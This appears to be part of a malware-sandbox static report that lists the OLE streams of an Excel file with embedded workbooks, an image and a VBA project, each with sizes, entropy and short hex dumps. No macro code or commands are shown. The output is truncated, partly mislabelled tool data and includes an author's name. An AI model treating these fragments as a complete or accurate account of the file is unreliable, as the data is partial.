Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 244

General
Stream Path:	\x5DocumentSummaryInformation
CLSID:
File Type:	data
Stream Size:	244
Entropy:	2.889430592781307
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t 1 . . . . . S h e e t 2 . . . . . S h e e t 3 . . . . . . . . . . . . . . . . . W o r k s h e e t s . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c4 00 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 a1 00 00 00 02 00 00 00 e4 04 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 200

General
Stream Path:	\x5SummaryInformation
CLSID:
File Type:	data
Stream Size:	200
Entropy:	3.2403503175049813
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . T . . . . . . . ` . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . \| . # . @ . . . . r \\ L . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 0c 00 00 00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e4 04 00 00 1e 00 00 00 04 00 00 00

Stream Path: MBD005CAF35/\x1CompObj, File Type: data, Stream Size: 99

General
Stream Path:	MBD005CAF35/\x1CompObj
CLSID:
File Type:	data
Stream Size:	99
Entropy:	3.631242196770981
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . ! . . . M i c r o s o f t O f f i c e E x c e l W o r k s h e e t . . . . . E x c e l M L 1 2 . . . . . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 57 6f 72 6b 73 68 65 65 74 00 0a 00 00 00 45 78 63 65 6c 4d 4c 31 32 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD005CAF35/Package, File Type: Microsoft Excel 2007+, Stream Size: 12479

General
Stream Path:	MBD005CAF35/Package
CLSID:
File Type:	Microsoft Excel 2007+
Stream Size:	12479
Entropy:	7.09513886571729
Base64 Encoded:	True
Data ASCII:	P K . . . . . . . . . . ! . . . . . . . . . . . [ C o n t e n t _ T y p e s ] . x m l . ( . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	50 4b 03 04 14 00 06 00 08 00 00 00 21 00 a7 95 f9 99 84 01 00 00 14 06 00 00 13 00 dd 01 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c 20 a2 d9 01 28 a0 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD005CAF36/\x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	MBD005CAF36/\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.25248375192737
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . F & . . . M i c r o s o f t O f f i c e E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 26 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD005CAF36/\x5DocumentSummaryInformation, File Type: data, Stream Size: 244

General
Stream Path:	MBD005CAF36/\x5DocumentSummaryInformation
CLSID:
File Type:	data
Stream Size:	244
Entropy:	2.701136490257069
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . P . . . . . . . X . . . . . . . d . . . . . . . l . . . . . . . t . . . . . . . \| . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . F e u i l 1 . . . . . . . . . . . . . . . . . W o r k s h e e t s . . . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c4 00 00 00 09 00 00 00 01 00 00 00 50 00 00 00 0f 00 00 00 58 00 00 00 17 00 00 00 64 00 00 00 0b 00 00 00 6c 00 00 00 10 00 00 00 74 00 00 00 13 00 00 00 7c 00 00 00 16 00 00 00 84 00 00 00 0d 00 00 00 8c 00 00 00 0c 00 00 00 9f 00 00 00

Stream Path: MBD005CAF36/\x5SummaryInformation, File Type: data, Stream Size: 220

General
Stream Path:	MBD005CAF36/\x5SummaryInformation
CLSID:
File Type:	data
Stream Size:	220
Entropy:	3.372234242231489
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . \\ . . . . . . . h . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . ; { ) . @ . . . . Z % . } . @ . . . . % ? ` * C . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 ac 00 00 00 08 00 00 00 01 00 00 00 48 00 00 00 04 00 00 00 50 00 00 00 08 00 00 00 5c 00 00 00 12 00 00 00 68 00 00 00 0b 00 00 00 80 00 00 00 0c 00 00 00 8c 00 00 00 0d 00 00 00 98 00 00 00 13 00 00 00 a4 00 00 00 02 00 00 00 e4 04 00 00

Stream Path: MBD005CAF36/MBD0018D4CE/\x1Ole, File Type: data, Stream Size: 20

General
Stream Path:	MBD005CAF36/MBD0018D4CE/\x1Ole
CLSID:
File Type:	data
Stream Size:	20
Entropy:	0.5689955935892812
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . .
Data Raw:	01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD005CAF36/MBD0018D4CE/\x3ObjInfo, File Type: data, Stream Size: 4

General
Stream Path:	MBD005CAF36/MBD0018D4CE/\x3ObjInfo
CLSID:
File Type:	data
Stream Size:	4
Entropy:	0.8112781244591328
Base64 Encoded:	False
Data ASCII:	. . . .
Data Raw:	00 00 03 00

Stream Path: MBD005CAF36/MBD0018D4CE/Contents, File Type: Corel Photo-Paint image, version 9, 716 x 547 RGB 24 bits, 11811024 micro dots/mm, 4 blocks, array offset 0x13c, Stream Size: 197671

General
Stream Path:	MBD005CAF36/MBD0018D4CE/Contents
CLSID:
File Type:	Corel Photo-Paint image, version 9, 716 x 547 RGB 24 bits, 11811024 micro dots/mm, 4 blocks, array offset 0x13c
Stream Size:	197671
Entropy:	6.989042939766534
Base64 Encoded:	True
Data ASCII:	C P T 9 F I L E . . . . . . . . . . . . . . . . 8 . 8 . . . . . . . . . . . . . . . . . . . . < . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	43 50 54 39 46 49 4c 45 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 38 b4 00 d0 38 b4 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 01 00 94 00 00 00 3c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD005CAF36/MBD0068D442/\x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	MBD005CAF36/MBD0068D442/\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.219515110876372
Base64 Encoded:	False
Data ASCII:	. . . . . . 0 . . . . . . . . . . . . . F ! . . . M i c r o s o f t O f f i c e E x c e l W o r k s h e e t . . . . . E x c e l M L 1 2 . . . . . E x c e l . S h e e t . 1 2 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 30 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 21 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 57 6f 72 6b 73 68 65 65 74 00 0a 00 00 00 45 78 63 65 6c 4d 4c 31 32 00 0f 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 31 32 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD005CAF36/MBD0068D442/Package, File Type: Microsoft Excel 2007+, Stream Size: 26243

General
Stream Path:	MBD005CAF36/MBD0068D442/Package
CLSID:
File Type:	Microsoft Excel 2007+
Stream Size:	26243
Entropy:	7.635433729726103
Base64 Encoded:	True
Data ASCII:	P K . . . . . . . . . . ! . & . . . . . . . . . [ C o n t e n t _ T y p e s ] . x m l . ( . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	50 4b 03 04 14 00 06 00 08 00 00 00 21 00 a1 26 fd 83 92 01 00 00 ae 05 00 00 13 00 e0 01 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c 20 a2 dc 01 28 a0 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD005CAF36/MBD007203CB/\x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	MBD005CAF36/MBD007203CB/\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.25248375192737
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . F & . . . M i c r o s o f t O f f i c e E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 26 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD005CAF36/MBD007203CB/\x5DocumentSummaryInformation, File Type: data, Stream Size: 248

General
Stream Path:	MBD005CAF36/MBD007203CB/\x5DocumentSummaryInformation
CLSID:
File Type:	data
Stream Size:	248
Entropy:	3.0523231150355867
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . P u r c h a s e O r d e r T e m p l a t e . . . . . . . . . . . . . . . . . . . . . . W o r k s h e e t s . . . . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c8 00 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 a2 00 00 00 02 00 00 00 e4 04 00 00

Stream Path: MBD005CAF36/MBD007203CB/\x5SummaryInformation, File Type: data, Stream Size: 256

General
Stream Path:	MBD005CAF36/MBD007203CB/\x5SummaryInformation
CLSID:
File Type:	data
Stream Size:	256
Entropy:	4.086306928392587
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . \| . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . $ . . . B r a t i s l a v M i l o j e v i c \| E L M E D d . o . o . . . . . . . . . . . 9 1 9 7 4 . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . N ; . . @ . . . . . . . @ . . . . v @ n ) C . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 d0 00 00 00 08 00 00 00 01 00 00 00 48 00 00 00 04 00 00 00 50 00 00 00 08 00 00 00 7c 00 00 00 12 00 00 00 8c 00 00 00 0b 00 00 00 a4 00 00 00 0c 00 00 00 b0 00 00 00 0d 00 00 00 bc 00 00 00 13 00 00 00 c8 00 00 00 02 00 00 00 e4 04 00 00

Stream Path: MBD005CAF36/MBD007203CB/Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 134792

General
Stream Path:	MBD005CAF36/MBD007203CB/Workbook
CLSID:
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	134792
Entropy:	7.974168320310173
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . / . 6 . . . . . . . Z i ^ . m . q l % . w " . x . Z q C b g i ' . h . . # . . . . . . . P . . . \\ . p . . 6 u ! l ( n y I T 5 W { L : 1 J . S . . . . 0 x . 3 . ` . X { ( / z 7 / . 8 x X g X # v . . [ d C y . . s . ] G 9 m . u . . . B . . . R a . . . . . . . = . . . L . . . O . . r 7 . v . . . " . . . . " _ K : . . . . . . . . . j # . . . . K . . . . . . . . = . . . " j ! ; . g . . @ . . . . . . . ^ " . . . 9 . . . . r . . . . . . . 1 . . . : . t . ? e . ) n S P x . b & 1
Data Raw:	09 08 10 00 00 06 05 00 ab 1f cd 07 c1 00 01 00 06 04 00 00 2f 00 36 00 01 00 01 00 01 00 5a 69 5e 2e a6 e0 6d 97 16 71 6c a3 ef b8 25 05 77 88 22 87 ec d8 b3 78 17 a4 5a 71 43 ad a8 c2 62 67 69 b8 d9 e2 27 83 c8 df b8 f6 68 1b 05 23 e1 00 02 00 b0 04 c1 00 02 00 ef 50 e2 00 00 00 5c 00 70 00 13 36 75 21 6c 28 6e bd 95 81 f4 c7 79 fa 49 54 35 99 57 f1 85 8d fb f3 e2 7b 4c b1 ea 3a

Stream Path: MBD005CAF36/MBD007203CB/_VBA_PROJECT_CUR/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 468

General
Stream Path:	MBD005CAF36/MBD007203CB/_VBA_PROJECT_CUR/PROJECT
CLSID:
File Type:	ASCII text, with CRLF line terminators
Stream Size:	468
Entropy:	5.269289820125323
Base64 Encoded:	True
Data ASCII:	I D = " { 1 9 C 9 4 3 8 D - F 0 7 5 - 4 2 6 8 - 9 E 6 E - 7 B 8 A E 6 6 D 5 A 0 F } " . . D o c u m e n t = T h i s W o r k b o o k / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 1 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 2 / & H 0 0 0 0 0 0 0 0 . . N a m e = " V B A P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " C D C F 3 A 0 A C A D 2 C E D 2 C E D 2 C E D 2 C E " . . D P B = " 9 9 9 B 6 E 9 3 6 F 9
Data Raw:	49 44 3d 22 7b 31 39 43 39 34 33 38 44 2d 46 30 37 35 2d 34 32 36 38 2d 39 45 36 45 2d 37 42 38 41 45 36 36 44 35 41 30 46 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 57 6f 72 6b 62 6f 6f 6b 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 31 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 32 2f 26 48 30 30 30

Stream Path: MBD005CAF36/MBD007203CB/_VBA_PROJECT_CUR/PROJECTwm, File Type: data, Stream Size: 83

General
Stream Path:	MBD005CAF36/MBD007203CB/_VBA_PROJECT_CUR/PROJECTwm
CLSID:
File Type:	data
Stream Size:	83
Entropy:	3.0672749060249043
Base64 Encoded:	False
Data ASCII:	T h i s W o r k b o o k . T . h . i . s . W . o . r . k . b . o . o . k . . . S h e e t 1 . S . h . e . e . t . 1 . . . S h e e t 2 . S . h . e . e . t . 2 . . . . .
Data Raw:	54 68 69 73 57 6f 72 6b 62 6f 6f 6b 00 54 00 68 00 69 00 73 00 57 00 6f 00 72 00 6b 00 62 00 6f 00 6f 00 6b 00 00 00 53 68 65 65 74 31 00 53 00 68 00 65 00 65 00 74 00 31 00 00 00 53 68 65 65 74 32 00 53 00 68 00 65 00 65 00 74 00 32 00 00 00 00 00

Stream Path: MBD005CAF36/MBD007203CB/_VBA_PROJECT_CUR/VBA/_VBA_PROJECT, File Type: data, Stream Size: 2486

General
Stream Path:	MBD005CAF36/MBD007203CB/_VBA_PROJECT_CUR/VBA/_VBA_PROJECT
CLSID:
File Type:	data
Stream Size:	2486
Entropy:	3.9244127831265385
Base64 Encoded:	False
Data ASCII:	a . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 0 . # . 9 . # . C . : . \\ . P . R . O . G . R . A . ~ . 2 . \\ . C . O . M . M . O . N . ~ . 1 . \\ . M . I . C . R . O . S . ~ . 1 . \\ . V . B . A . \\ . V . B . A . 6 . \\ . V . B . E . 6 . . . D . L . L . # . V . i . s . u . a . l . . B . a . s . i . c . . F . o . r .
Data Raw:	cc 61 88 00 00 01 00 ff 09 40 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00 04 00 02 00 fa 00 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 30 00 23 00

Stream Path: MBD005CAF36/MBD007203CB/_VBA_PROJECT_CUR/VBA/dir, File Type: data, Stream Size: 536

General
Stream Path:	MBD005CAF36/MBD007203CB/_VBA_PROJECT_CUR/VBA/dir
CLSID:
File Type:	data
Stream Size:	536
Entropy:	6.330646364694152
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . V B A P r o j e c t . . 4 . . @ . . j . . . = . . . . r . . . . . . . . . C W ] i . . . . J < . . . . . r s t d o l e > . . . s . t . d . o . l . e . . . h . % . ^ . . * \\ G { 0 0 0 2 0 4 3 0 - . . . . . C . . . . . . 0 0 4 . 6 } # 2 . 0 # 0 . # C : \\ W i n d . o w s \\ S y s W O W 6 4 \\ . e 2 . . t l b # O L E . A u t o m a t i . o n . ` . . E O f f D i c E O . f . i . c E . . E . 2 D F 8 D 0 4 C . - 5 B F A - 1 0 1 B - B D E 5 E A A C 4 .
Data Raw:	01 14 b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 0a 3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 43 57 5d 69 12 94 00 0c 02 4a 3c 02 0a 16 00 01 72 80 73 74 64 6f 6c 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6c 00 65 00 0d 00 68 00 25 02 5e 00 03 2a 5c 47

Stream Path: MBD005CAF36/MBD00726B69/\x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	MBD005CAF36/MBD00726B69/\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.219515110876372
Base64 Encoded:	False
Data ASCII:	. . . . . . 0 . . . . . . . . . . . . . F ! . . . M i c r o s o f t O f f i c e E x c e l W o r k s h e e t . . . . . E x c e l M L 1 2 . . . . . E x c e l . S h e e t . 1 2 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 30 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 21 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 57 6f 72 6b 73 68 65 65 74 00 0a 00 00 00 45 78 63 65 6c 4d 4c 31 32 00 0f 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 31 32 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD005CAF36/MBD00726B69/Package, File Type: Microsoft Excel 2007+, Stream Size: 26242

General
Stream Path:	MBD005CAF36/MBD00726B69/Package
CLSID:
File Type:	Microsoft Excel 2007+
Stream Size:	26242
Entropy:	7.635424485665502
Base64 Encoded:	True
Data ASCII:	P K . . . . . . . . . . ! . & . . . . . . . . . [ C o n t e n t _ T y p e s ] . x m l . ( . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	50 4b 03 04 14 00 06 00 08 00 00 00 21 00 a1 26 fd 83 92 01 00 00 ae 05 00 00 13 00 e0 01 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c 20 a2 dc 01 28 a0 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD005CAF36/Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 283872

General
Stream Path:	MBD005CAF36/Workbook
CLSID:
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	283872
Entropy:	7.743278150467805
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . B . . . . a . . . . . . . . = . . . . . . . . . . . T h i s W o r k b o o k . . . . . . . . . . . b . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . H < l - 9 . . . . . . . X . @ . . . . . . . . . .
Data Raw:	09 08 10 00 00 06 05 00 ab 1f cd 07 c1 00 01 00 06 04 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 02 00 00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Stream Path: MBD005CAF37/\x1CompObj, File Type: data, Stream Size: 99

General
Stream Path:	MBD005CAF37/\x1CompObj
CLSID:
File Type:	data
Stream Size:	99
Entropy:	3.631242196770981
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . ! . . . M i c r o s o f t O f f i c e E x c e l W o r k s h e e t . . . . . E x c e l M L 1 2 . . . . . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 57 6f 72 6b 73 68 65 65 74 00 0a 00 00 00 45 78 63 65 6c 4d 4c 31 32 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD005CAF37/Package, File Type: Microsoft Excel 2007+, Stream Size: 45934

General
Stream Path:	MBD005CAF37/Package
CLSID:
File Type:	Microsoft Excel 2007+
Stream Size:	45934
Entropy:	7.5587990853484195
Base64 Encoded:	True
Data ASCII:	P K . . . . . . . . . . ! . . ~ . . . . . . . . . [ C o n t e n t _ T y p e s ] . x m l . ( . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	50 4b 03 04 14 00 06 00 08 00 00 00 21 00 8c e9 8c 8c 7e 01 00 00 8c 05 00 00 13 00 dc 01 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c 20 a2 d8 01 28 a0 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD005CAF38/\x1Ole, File Type: data, Stream Size: 426

General
Stream Path:	MBD005CAF38/\x1Ole
CLSID:
File Type:	data
Stream Size:	426
Entropy:	5.301418260356773
Base64 Encoded:	False
